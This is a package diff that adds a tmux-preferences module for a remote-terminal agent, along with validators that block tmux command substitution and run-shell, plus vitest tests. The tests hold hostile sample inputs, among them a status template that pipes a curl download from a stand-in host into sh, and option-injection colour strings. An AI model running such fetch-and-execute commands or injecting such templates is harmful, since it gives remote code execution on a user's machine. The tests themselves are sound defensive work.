@indianic/dialout 1.3.1 → 1.4.0

package/node_modules/@dialout/shared/dist/tmux-prefs.d.ts

@@ -0,0 +1,65 @@
+export interface TmuxStatusPrefs {
+    enabled: boolean;
+    position: 'top' | 'bottom';
+    bg: string;
+    fg: string;
+    left: string;
+    right: string;
+}
+export interface TmuxPrefs {
+    /**
+     * 'native-select' turns mouse reporting OFF, so the terminal emulator keeps
+     * its own drag-select, Cmd+C and Cmd+V. The cost is that the wheel no longer
+     * scrolls tmux history (prefix + [ does). 'tmux' is the pre-2026-09 behaviour.
+     *
+     * Browser sessions override this back to `on` per session, because a browser
+     * tab has no native selection of a remote pane to fall back on.
+     */
+    mouse: 'native-select' | 'tmux';
+    /** How the cowork rc block execs tmux. 'auto' resolves to 'normal' for now. */
+    attachMode: 'auto' | 'control' | 'normal';
+    historyLimit: number;
+    status: TmuxStatusPrefs;
+}
+export declare const STATUS_TOKENS: string[];
+export declare const DEFAULT_TMUX_PREFS: TmuxPrefs;
+/**
+ * Compile a status template to a tmux format string.
+ *
+ * A tmux config can execute shell — `#(...)` is command substitution and
+ * `run-shell` runs a command outright — so this is an injection surface with
+ * exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
+ * templates arrive over the network from a browser, it is the only thing
+ * between a settings form and arbitrary command execution on a developer's
+ * machine.
+ *
+ * Rejecting rather than escaping is deliberate for those two: no legitimate
+ * status bar needs either, and an escape that is one tmux release out of date
+ * fails open. The quote is escaped rather than rejected because a user may
+ * reasonably want one.
+ */
+export declare function compileStatusTemplate(template: string): string;
+/** True when a status template is safe to store and render. */
+export declare function isValidStatusTemplate(template: string): boolean;
+export declare function isValidTmuxColor(value: string): boolean;
+/** Longest status template we will store. Long enough for a real bar, short
+ *  enough that nobody pastes a script into it. */
+export declare const MAX_STATUS_TEMPLATE = 200;
+/**
+ * Merge stored prefs over the defaults, validating as we go.
+ *
+ * Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
+ * would replace the whole status object and wipe every key the caller did not
+ * name. And an invalid value must fall back rather than reach tmux: a bad
+ * `mouse` string would render `set-option -g mouse sideways`, which tmux
+ * rejects — costing that line silently, since source-file warns and continues
+ * rather than aborting.
+ *
+ * Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
+ * That is what lets the same function guard a config file on disk and a JSON
+ * body from a browser.
+ */
+export declare function resolveTmuxPrefs(input?: {
+    tmux?: unknown;
+} | null | undefined): TmuxPrefs;
+//# sourceMappingURL=tmux-prefs.d.ts.map

package/node_modules/@dialout/shared/dist/tmux-prefs.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"tmux-prefs.d.ts","sourceRoot":"","sources":["../src/tmux-prefs.ts"],"names":[],"mappings":"AAWA,MAAM,WAAW,eAAe;IAC9B,OAAO,EAAE,OAAO,CAAC;IACjB,QAAQ,EAAE,KAAK,GAAG,QAAQ,CAAC;IAC3B,EAAE,EAAE,MAAM,CAAC;IACX,EAAE,EAAE,MAAM,CAAC;IACX,IAAI,EAAE,MAAM,CAAC;IACb,KAAK,EAAE,MAAM,CAAC;CACf;AAED,MAAM,WAAW,SAAS;IACxB;;;;;;;OAOG;IACH,KAAK,EAAE,eAAe,GAAG,MAAM,CAAC;IAChC,+EAA+E;IAC/E,UAAU,EAAE,MAAM,GAAG,SAAS,GAAG,QAAQ,CAAC;IAC1C,YAAY,EAAE,MAAM,CAAC;IACrB,MAAM,EAAE,eAAe,CAAC;CACzB;AAeD,eAAO,MAAM,aAAa,UAA6B,CAAC;AAExD,eAAO,MAAM,kBAAkB,EAAE,SAchC,CAAC;AAEF;;;;;;;;;;;;;;GAcG;AACH,wBAAgB,qBAAqB,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM,CAa9D;AAED,+DAA+D;AAC/D,wBAAgB,qBAAqB,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO,CAO/D;AAOD,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,MAAM,GAAG,OAAO,CAEvD;AAED;kDACkD;AAClD,eAAO,MAAM,mBAAmB,MAAM,CAAC;AAEvC;;;;;;;;;;;;;GAaG;AACH,wBAAgB,gBAAgB,CAAC,KAAK,GAAE;IAAE,IAAI,CAAC,EAAE,OAAO,CAAA;CAAE,GAAG,IAAI,GAAG,SAAc,GAAG,SAAS,CA2B7F"}

package/node_modules/@dialout/shared/dist/tmux-prefs.js

@@ -0,0 +1,132 @@
+"use strict";
+// tmux preferences: the shape, the defaults, and the validation.
+//
+// Shared because THREE places need the same answer and any drift between them
+// is a bug: the agent renders these into ~/.dialout/tmux.conf, the settings API
+// validates what a browser sends before storing it, and the settings UI shows
+// the same choices. The agent's own option list already existed twice once and
+// silently drifted; this is the same mistake one layer up, so it is prevented
+// rather than watched for.
+//
+// Rendering itself stays in the agent — only it produces a tmux file.
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.MAX_STATUS_TEMPLATE = exports.DEFAULT_TMUX_PREFS = exports.STATUS_TOKENS = void 0;
+exports.compileStatusTemplate = compileStatusTemplate;
+exports.isValidStatusTemplate = isValidStatusTemplate;
+exports.isValidTmuxColor = isValidTmuxColor;
+exports.resolveTmuxPrefs = resolveTmuxPrefs;
+// Status template tokens, compiled to tmux formats so nobody has to learn tmux
+// format syntax to restyle the bar.
+const TOKEN_FORMATS = {
+    // #{b:...} is tmux's own basename modifier, so the folder tracks a cd.
+    folder: '#{b:pane_current_path}',
+    path: '#{pane_current_path}',
+    session: '#{session_name}',
+    window: '#{window_name}',
+    title: '#{=21:pane_title}',
+    time: '%H:%M',
+    date: '%d-%b-%y',
+};
+exports.STATUS_TOKENS = Object.keys(TOKEN_FORMATS);
+exports.DEFAULT_TMUX_PREFS = {
+    mouse: 'native-select',
+    attachMode: 'auto',
+    historyLimit: 100000,
+    status: {
+        enabled: true,
+        position: 'bottom',
+        // tmux's own default is bg=green,fg=black. Kept so an upgrade does not
+        // silently restyle a bar the user never asked to change.
+        bg: 'green',
+        fg: 'black',
+        left: '[[session]] ',
+        right: '[title] [time] [date]',
+    },
+};
+/**
+ * Compile a status template to a tmux format string.
+ *
+ * A tmux config can execute shell — `#(...)` is command substitution and
+ * `run-shell` runs a command outright — so this is an injection surface with
+ * exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
+ * templates arrive over the network from a browser, it is the only thing
+ * between a settings form and arbitrary command execution on a developer's
+ * machine.
+ *
+ * Rejecting rather than escaping is deliberate for those two: no legitimate
+ * status bar needs either, and an escape that is one tmux release out of date
+ * fails open. The quote is escaped rather than rejected because a user may
+ * reasonably want one.
+ */
+function compileStatusTemplate(template) {
+    const text = String(template);
+    if (text.includes('#(')) {
+        throw new Error('command substitution "#(" is not allowed in a status template');
+    }
+    if (/run-shell/i.test(text)) {
+        throw new Error('"run-shell" is not allowed in a status template');
+    }
+    // Escape backslash first, then the quote, or the escapes escape each other.
+    const escaped = text.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
+    // An unknown [token] is left verbatim: silently dropping it would make a typo
+    // look like the setting had no effect.
+    return escaped.replace(/\[([a-z]+)\]/g, (whole, name) => TOKEN_FORMATS[name] ?? whole);
+}
+/** True when a status template is safe to store and render. */
+function isValidStatusTemplate(template) {
+    try {
+        compileStatusTemplate(template);
+        return true;
+    }
+    catch {
+        return false;
+    }
+}
+// tmux colours: a named colour, colourN, or #rrggbb. Anything else would be
+// interpolated straight into `status-style`, where a stray comma or quote is a
+// second option rather than a colour.
+const COLOR_RE = /^(#[0-9a-fA-F]{6}|colou?r\d{1,3}|[a-z]{3,12})$/;
+function isValidTmuxColor(value) {
+    return COLOR_RE.test(String(value || ''));
+}
+/** Longest status template we will store. Long enough for a real bar, short
+ *  enough that nobody pastes a script into it. */
+exports.MAX_STATUS_TEMPLATE = 200;
+/**
+ * Merge stored prefs over the defaults, validating as we go.
+ *
+ * Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
+ * would replace the whole status object and wipe every key the caller did not
+ * name. And an invalid value must fall back rather than reach tmux: a bad
+ * `mouse` string would render `set-option -g mouse sideways`, which tmux
+ * rejects — costing that line silently, since source-file warns and continues
+ * rather than aborting.
+ *
+ * Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
+ * That is what lets the same function guard a config file on disk and a JSON
+ * body from a browser.
+ */
+function resolveTmuxPrefs(input = {}) {
+    const stored = (input && typeof input === 'object' ? input.tmux : null) || {};
+    const status = (stored && typeof stored === 'object' ? stored.status : null) || {};
+    const oneOf = (value, allowed, fallback) => (allowed.includes(value) ? value : fallback);
+    const text = (value, fallback, valid) => (typeof value === 'string' && value.length <= exports.MAX_STATUS_TEMPLATE && valid(value)
+        ? value
+        : fallback);
+    return {
+        mouse: oneOf(stored.mouse, ['native-select', 'tmux'], exports.DEFAULT_TMUX_PREFS.mouse),
+        attachMode: oneOf(stored.attachMode, ['auto', 'control', 'normal'], exports.DEFAULT_TMUX_PREFS.attachMode),
+        historyLimit: Number.isInteger(stored.historyLimit)
+            && stored.historyLimit > 0 && stored.historyLimit <= 1_000_000
+            ? stored.historyLimit
+            : exports.DEFAULT_TMUX_PREFS.historyLimit,
+        status: {
+            enabled: typeof status.enabled === 'boolean' ? status.enabled : exports.DEFAULT_TMUX_PREFS.status.enabled,
+            position: oneOf(status.position, ['top', 'bottom'], exports.DEFAULT_TMUX_PREFS.status.position),
+            bg: text(status.bg, exports.DEFAULT_TMUX_PREFS.status.bg, isValidTmuxColor),
+            fg: text(status.fg, exports.DEFAULT_TMUX_PREFS.status.fg, isValidTmuxColor),
+            left: text(status.left, exports.DEFAULT_TMUX_PREFS.status.left, isValidStatusTemplate),
+            right: text(status.right, exports.DEFAULT_TMUX_PREFS.status.right, isValidStatusTemplate),
+        },
+    };
+}

package/node_modules/@dialout/shared/src/index.ts

@@ -30,3 +30,9 @@ export { FUNCTION_KEYS_PREF, getFunctionKeysVisible, setFunctionKeysVisible } fr
 
 export type { TerminalNameVars } from './terminal-name';
 export { DEFAULT_TERMINAL_TEMPLATE, TERMINAL_NAME_TOKENS, factsFromSession, renderTerminalName } from './terminal-name';
+
+export type { TmuxPrefs, TmuxStatusPrefs } from './tmux-prefs';
+export {
+  DEFAULT_TMUX_PREFS, STATUS_TOKENS, MAX_STATUS_TEMPLATE,
+  compileStatusTemplate, isValidStatusTemplate, isValidTmuxColor, resolveTmuxPrefs,
+} from './tmux-prefs';

package/node_modules/@dialout/shared/src/tmux-prefs.test.ts

@@ -0,0 +1,113 @@
+import { describe, it, expect } from 'vitest';
+import {
+  resolveTmuxPrefs, compileStatusTemplate, isValidStatusTemplate, isValidTmuxColor,
+  DEFAULT_TMUX_PREFS, STATUS_TOKENS, MAX_STATUS_TEMPLATE,
+} from './tmux-prefs';
+
+describe('resolveTmuxPrefs', () => {
+  it('returns the defaults for an empty input', () => {
+    expect(resolveTmuxPrefs({})).toEqual(DEFAULT_TMUX_PREFS);
+  });
+
+  // The same function guards a config file on disk and a JSON body from a
+  // browser, so every shape of garbage has to come out as valid prefs.
+  it('survives null, undefined and non-objects', () => {
+    expect(resolveTmuxPrefs(null)).toEqual(DEFAULT_TMUX_PREFS);
+    expect(resolveTmuxPrefs(undefined)).toEqual(DEFAULT_TMUX_PREFS);
+    expect(resolveTmuxPrefs({ tmux: 'not an object' } as any)).toEqual(DEFAULT_TMUX_PREFS);
+    expect(resolveTmuxPrefs({ tmux: 42 } as any)).toEqual(DEFAULT_TMUX_PREFS);
+  });
+
+  it('overrides only what it names', () => {
+    const prefs = resolveTmuxPrefs({ tmux: { mouse: 'tmux' } });
+    expect(prefs.mouse).toBe('tmux');
+    expect(prefs.historyLimit).toBe(DEFAULT_TMUX_PREFS.historyLimit);
+  });
+
+  // status is nested; a shallow spread would wipe the siblings.
+  it('keeps unnamed status siblings', () => {
+    const prefs = resolveTmuxPrefs({ tmux: { status: { bg: 'colour238' } } });
+    expect(prefs.status.bg).toBe('colour238');
+    expect(prefs.status.fg).toBe(DEFAULT_TMUX_PREFS.status.fg);
+    expect(prefs.status.enabled).toBe(DEFAULT_TMUX_PREFS.status.enabled);
+  });
+
+  it('falls back rather than passing an unknown enum through to tmux', () => {
+    expect(resolveTmuxPrefs({ tmux: { mouse: 'sideways' } }).mouse).toBe('native-select');
+    expect(resolveTmuxPrefs({ tmux: { attachMode: 'telepathy' } }).attachMode).toBe('auto');
+    expect(resolveTmuxPrefs({ tmux: { status: { position: 'sideways' } } }).status.position)
+      .toBe('bottom');
+  });
+
+  it('rejects a non-integer, negative or absurd history limit', () => {
+    for (const bad of ['lots', -1, 0, 1.5, 10_000_000, null]) {
+      expect(resolveTmuxPrefs({ tmux: { historyLimit: bad } }).historyLimit)
+        .toBe(DEFAULT_TMUX_PREFS.historyLimit);
+    }
+    expect(resolveTmuxPrefs({ tmux: { historyLimit: 5000 } }).historyLimit).toBe(5000);
+  });
+
+  // The one that matters once a browser can send this: a template carrying
+  // command substitution must never be stored.
+  it('rejects a status template containing command substitution', () => {
+    const prefs = resolveTmuxPrefs({ tmux: { status: { left: '#(curl evil.sh | sh)' } } });
+    expect(prefs.status.left).toBe(DEFAULT_TMUX_PREFS.status.left);
+  });
+
+  it('rejects a status template containing run-shell', () => {
+    const prefs = resolveTmuxPrefs({ tmux: { status: { right: 'x run-shell "id"' } } });
+    expect(prefs.status.right).toBe(DEFAULT_TMUX_PREFS.status.right);
+  });
+
+  it('rejects an over-long status template', () => {
+    const long = 'a'.repeat(MAX_STATUS_TEMPLATE + 1);
+    expect(resolveTmuxPrefs({ tmux: { status: { left: long } } }).status.left)
+      .toBe(DEFAULT_TMUX_PREFS.status.left);
+  });
+
+  it('rejects a colour that is not a colour', () => {
+    for (const bad of ['red,fg=black', 'green"', '#zzzzzz', 'rgb(1,2,3)', '']) {
+      expect(resolveTmuxPrefs({ tmux: { status: { bg: bad } } }).status.bg)
+        .toBe(DEFAULT_TMUX_PREFS.status.bg);
+    }
+  });
+
+  it('accepts the colour forms tmux understands', () => {
+    for (const good of ['green', 'colour238', 'color12', '#1a56db']) {
+      expect(resolveTmuxPrefs({ tmux: { status: { bg: good } } }).status.bg).toBe(good);
+    }
+  });
+});
+
+describe('compileStatusTemplate', () => {
+  it('compiles every advertised token to something else', () => {
+    for (const token of STATUS_TOKENS) {
+      expect(compileStatusTemplate(`[${token}]`)).not.toBe(`[${token}]`);
+    }
+  });
+
+  it('leaves an unknown token verbatim rather than dropping it', () => {
+    expect(compileStatusTemplate('[nonsense]')).toBe('[nonsense]');
+  });
+
+  it('escapes a quote so it cannot end the emitted tmux string', () => {
+    expect(compileStatusTemplate('say "hi"')).not.toMatch(/(?<!\\)"/);
+  });
+
+  it('throws on command substitution and run-shell', () => {
+    expect(() => compileStatusTemplate('#(id)')).toThrow(/not allowed/i);
+    expect(() => compileStatusTemplate('run-shell id')).toThrow(/not allowed/i);
+  });
+});
+
+describe('validators', () => {
+  it('isValidStatusTemplate mirrors compileStatusTemplate', () => {
+    expect(isValidStatusTemplate('[folder]')).toBe(true);
+    expect(isValidStatusTemplate('#(id)')).toBe(false);
+  });
+
+  it('isValidTmuxColor rejects anything that could inject a second option', () => {
+    expect(isValidTmuxColor('green')).toBe(true);
+    expect(isValidTmuxColor('green,fg=red')).toBe(false);
+  });
+});

package/node_modules/@dialout/shared/src/tmux-prefs.ts

@@ -0,0 +1,162 @@
+// tmux preferences: the shape, the defaults, and the validation.
+//
+// Shared because THREE places need the same answer and any drift between them
+// is a bug: the agent renders these into ~/.dialout/tmux.conf, the settings API
+// validates what a browser sends before storing it, and the settings UI shows
+// the same choices. The agent's own option list already existed twice once and
+// silently drifted; this is the same mistake one layer up, so it is prevented
+// rather than watched for.
+//
+// Rendering itself stays in the agent — only it produces a tmux file.
+
+export interface TmuxStatusPrefs {
+  enabled: boolean;
+  position: 'top' | 'bottom';
+  bg: string;
+  fg: string;
+  left: string;
+  right: string;
+}
+
+export interface TmuxPrefs {
+  /**
+   * 'native-select' turns mouse reporting OFF, so the terminal emulator keeps
+   * its own drag-select, Cmd+C and Cmd+V. The cost is that the wheel no longer
+   * scrolls tmux history (prefix + [ does). 'tmux' is the pre-2026-09 behaviour.
+   *
+   * Browser sessions override this back to `on` per session, because a browser
+   * tab has no native selection of a remote pane to fall back on.
+   */
+  mouse: 'native-select' | 'tmux';
+  /** How the cowork rc block execs tmux. 'auto' resolves to 'normal' for now. */
+  attachMode: 'auto' | 'control' | 'normal';
+  historyLimit: number;
+  status: TmuxStatusPrefs;
+}
+
+// Status template tokens, compiled to tmux formats so nobody has to learn tmux
+// format syntax to restyle the bar.
+const TOKEN_FORMATS: Record<string, string> = {
+  // #{b:...} is tmux's own basename modifier, so the folder tracks a cd.
+  folder: '#{b:pane_current_path}',
+  path: '#{pane_current_path}',
+  session: '#{session_name}',
+  window: '#{window_name}',
+  title: '#{=21:pane_title}',
+  time: '%H:%M',
+  date: '%d-%b-%y',
+};
+
+export const STATUS_TOKENS = Object.keys(TOKEN_FORMATS);
+
+export const DEFAULT_TMUX_PREFS: TmuxPrefs = {
+  mouse: 'native-select',
+  attachMode: 'auto',
+  historyLimit: 100000,
+  status: {
+    enabled: true,
+    position: 'bottom',
+    // tmux's own default is bg=green,fg=black. Kept so an upgrade does not
+    // silently restyle a bar the user never asked to change.
+    bg: 'green',
+    fg: 'black',
+    left: '[[session]] ',
+    right: '[title] [time] [date]',
+  },
+};
+
+/**
+ * Compile a status template to a tmux format string.
+ *
+ * A tmux config can execute shell — `#(...)` is command substitution and
+ * `run-shell` runs a command outright — so this is an injection surface with
+ * exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
+ * templates arrive over the network from a browser, it is the only thing
+ * between a settings form and arbitrary command execution on a developer's
+ * machine.
+ *
+ * Rejecting rather than escaping is deliberate for those two: no legitimate
+ * status bar needs either, and an escape that is one tmux release out of date
+ * fails open. The quote is escaped rather than rejected because a user may
+ * reasonably want one.
+ */
+export function compileStatusTemplate(template: string): string {
+  const text = String(template);
+  if (text.includes('#(')) {
+    throw new Error('command substitution "#(" is not allowed in a status template');
+  }
+  if (/run-shell/i.test(text)) {
+    throw new Error('"run-shell" is not allowed in a status template');
+  }
+  // Escape backslash first, then the quote, or the escapes escape each other.
+  const escaped = text.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
+  // An unknown [token] is left verbatim: silently dropping it would make a typo
+  // look like the setting had no effect.
+  return escaped.replace(/\[([a-z]+)\]/g, (whole, name) => TOKEN_FORMATS[name] ?? whole);
+}
+
+/** True when a status template is safe to store and render. */
+export function isValidStatusTemplate(template: string): boolean {
+  try {
+    compileStatusTemplate(template);
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+// tmux colours: a named colour, colourN, or #rrggbb. Anything else would be
+// interpolated straight into `status-style`, where a stray comma or quote is a
+// second option rather than a colour.
+const COLOR_RE = /^(#[0-9a-fA-F]{6}|colou?r\d{1,3}|[a-z]{3,12})$/;
+
+export function isValidTmuxColor(value: string): boolean {
+  return COLOR_RE.test(String(value || ''));
+}
+
+/** Longest status template we will store. Long enough for a real bar, short
+ *  enough that nobody pastes a script into it. */
+export const MAX_STATUS_TEMPLATE = 200;
+
+/**
+ * Merge stored prefs over the defaults, validating as we go.
+ *
+ * Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
+ * would replace the whole status object and wipe every key the caller did not
+ * name. And an invalid value must fall back rather than reach tmux: a bad
+ * `mouse` string would render `set-option -g mouse sideways`, which tmux
+ * rejects — costing that line silently, since source-file warns and continues
+ * rather than aborting.
+ *
+ * Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
+ * That is what lets the same function guard a config file on disk and a JSON
+ * body from a browser.
+ */
+export function resolveTmuxPrefs(input: { tmux?: unknown } | null | undefined = {}): TmuxPrefs {
+  const stored = (input && typeof input === 'object' ? (input as any).tmux : null) || {};
+  const status = (stored && typeof stored === 'object' ? stored.status : null) || {};
+  const oneOf = <T extends string>(value: unknown, allowed: readonly T[], fallback: T): T =>
+    ((allowed as readonly unknown[]).includes(value) ? value as T : fallback);
+  const text = (value: unknown, fallback: string, valid: (v: string) => boolean): string =>
+    (typeof value === 'string' && value.length <= MAX_STATUS_TEMPLATE && valid(value)
+      ? value
+      : fallback);
+
+  return {
+    mouse: oneOf(stored.mouse, ['native-select', 'tmux'] as const, DEFAULT_TMUX_PREFS.mouse),
+    attachMode: oneOf(stored.attachMode, ['auto', 'control', 'normal'] as const,
+      DEFAULT_TMUX_PREFS.attachMode),
+    historyLimit: Number.isInteger(stored.historyLimit)
+      && stored.historyLimit > 0 && stored.historyLimit <= 1_000_000
+      ? stored.historyLimit
+      : DEFAULT_TMUX_PREFS.historyLimit,
+    status: {
+      enabled: typeof status.enabled === 'boolean' ? status.enabled : DEFAULT_TMUX_PREFS.status.enabled,
+      position: oneOf(status.position, ['top', 'bottom'] as const, DEFAULT_TMUX_PREFS.status.position),
+      bg: text(status.bg, DEFAULT_TMUX_PREFS.status.bg, isValidTmuxColor),
+      fg: text(status.fg, DEFAULT_TMUX_PREFS.status.fg, isValidTmuxColor),
+      left: text(status.left, DEFAULT_TMUX_PREFS.status.left, isValidStatusTemplate),
+      right: text(status.right, DEFAULT_TMUX_PREFS.status.right, isValidStatusTemplate),
+    },
+  };
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@indianic/dialout",
-  "version": "1.3.1",
+  "version": "1.4.0",
   "description": "Dialout agent — reach your office, home or build machine from any browser or phone. Remote tmux terminals, live port checks, filesystem browsing, process control and HTTP tunnels. The agent dials out: no inbound ports, no VPN, no port forwarding.",
   "bin": {
     "dialout": "./bin/devdash-agent.js"